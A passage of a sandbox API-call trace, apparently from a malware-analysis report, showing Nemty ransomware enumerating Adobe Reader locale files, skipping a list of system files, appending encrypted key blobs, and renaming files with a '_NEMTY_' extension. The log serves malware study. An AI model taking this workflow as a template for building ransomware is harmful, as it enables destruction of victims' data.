lpUsedDefaultChar=0x0) returned 10 [0178.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ITA", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.ITA", lpUsedDefaultChar=0x0) returned 10 [0178.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ITA", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.ITA", lpUsedDefaultChar=0x0) returned 10 [0178.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ITA", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.ITA", lpUsedDefaultChar=0x0) returned 10 [0178.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0178.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.671] Sleep (dwMilliseconds=0x5) [0178.682] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e2609f0, dwHighDateTime=0x1d561e8)) [0178.682] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e2609f0, dwHighDateTime=0x1d561e8)) [0178.682] GetLastError () returned 0x0 [0178.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.682] GetLastError () returned 0x0 [0178.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.682] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.682] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.682] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0178.682] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="9NbYqncKSQSuWNc/x3barUd6YUp5I7f5K1gVf8qz/gHyNtvxX6XERmzMFEFHdyby\r\ndj1o3Gp0RC/xIc7K5ErOg7amxsTJKL3DphJfY//5iE/mBYL7OgoYZDPIeP0DTaq+\r\nch1X3zVC8hEj78MqkSUOpBMjE1iOLJ+2pCF/dTJWmP3D8tktNkJVNe1Z4XIQ7RE6\r\nEtnsOp8CdH8npSDHacznQufJLtkfuhJue3jjm4NhTwEj7yOTjjyC6sK3PaZasPzR\r\n7n+D/khiRROJcPXbIHCLQvuduoNS27DoVymXR7S3Suk5E9APVyPfmALYb6KUPZEb\r\nOBzLdLJB+7PP3QaQuq+LAA==\r\n", pcchString=0x653e5dc) returned 1 [0178.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0178.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.682] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\reflow.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\reflow.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.683] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0178.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0178.683] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.683] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0178.685] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.685] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0178.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.685] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0178.685] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.685] CloseHandle (hObject=0x2e8) returned 1 [0178.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0178.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0178.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.685] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\reflow.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\reflow.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\reflow.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\reflow.ita._nemty_kgobjgd_")) returned 1 [0178.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0178.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0178.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0178.686] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.ITA", cAlternateFileName="SAVEAS~1.ITA")) returned 1 [0178.686] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2=".") returned 1 [0178.686] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="..") returned 1 [0178.686] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="...") returned 1 [0178.686] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="windows") returned -1 [0178.686] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.686] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="rsa") returned 1 [0178.686] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="NTDETECT.COM") returned 1 [0178.686] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="ntldr") returned 1 [0178.686] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="MSDOS.SYS") returned 1 [0178.686] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="IO.SYS") returned 1 [0178.686] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="boot.ini") returned 1 [0178.686] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="boot.ini") returned 1 [0178.686] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.686] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="ntuser.dat") returned 1 [0178.686] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="desktop.ini") returned 1 [0178.686] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="CONFIG.SYS") returned 1 [0178.686] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="RECYCLER") returned 1 [0178.686] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.687] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="bootmgr") returned 1 [0178.687] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="programdata") returned 1 [0178.687] lstrcmpiW (lpString1="SaveAsRTF.ITA", lpString2="appdata") returned 1 [0178.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ITA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ITA", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.ITA", lpUsedDefaultChar=0x0) returned 13 [0178.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ITA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ITA", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.ITA", lpUsedDefaultChar=0x0) returned 13 [0178.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ITA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ITA", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.ITA", lpUsedDefaultChar=0x0) returned 13 [0178.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ITA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ITA", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.ITA", lpUsedDefaultChar=0x0) returned 13 [0178.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.687] Sleep (dwMilliseconds=0x5) [0178.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e286b50, dwHighDateTime=0x1d561e8)) [0178.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e286b50, dwHighDateTime=0x1d561e8)) [0178.696] GetLastError () returned 0x0 [0178.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.696] GetLastError () returned 0x0 [0178.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.696] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.696] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.696] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.696] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="kFg6PRbQMjDag7y0AhAEnS7l7nuffF60ErRPd/vafXqiyuidJMglvE3nFwPJWS5B\r\np3TaNeYwnCe8ouq0sO5CbjzYxMZLigqTwUqb5j9XHQYkYZejMrDpQAKmU0X5GUvs\r\nM/MINrX3SLpP8I2ukb1t32XBCmdWB39b/k7JFDvrulTUzQ8qd4Ay2GKY+xqbtqdL\r\nH37RJSx3BPknBMq9sQjda72EHVbEXpxpxxP20bYF989GCawECjPyjh/hkYh4AqwT\r\nfOj6IuHQWnD4FoUzxs260ZplLIsSzdIAtrwyVYwtOleUlB00XtGUDj1uwqN13luQ\r\n/jkZGvwiqrB3c6J6QN5DeA==\r\n", pcchString=0x653e5dc) returned 1 [0178.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.696] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\SaveAsRTF.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\saveasrtf.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.697] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18944) returned 1 [0178.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4a00) returned 0x6352c48 [0178.697] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.697] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4a00, lpOverlapped=0x0) returned 1 [0178.699] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.699] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4a00, lpOverlapped=0x0) returned 1 [0178.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.699] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a00 [0178.700] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.700] CloseHandle (hObject=0x2e8) returned 1 [0178.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.700] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\SaveAsRTF.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\saveasrtf.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\SaveAsRTF.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\saveasrtf.ita._nemty_kgobjgd_")) returned 1 [0178.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.701] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.ITA", cAlternateFileName="")) returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2=".") returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="..") returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="...") returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="windows") returned -1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="rsa") returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="NTDETECT.COM") returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="ntldr") returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="MSDOS.SYS") returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="IO.SYS") returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="boot.ini") returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="boot.ini") returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="ntuser.dat") returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="desktop.ini") returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="CONFIG.SYS") returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="RECYCLER") returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="bootmgr") returned 1 [0178.701] lstrcmpiW (lpString1="Search.ITA", lpString2="programdata") 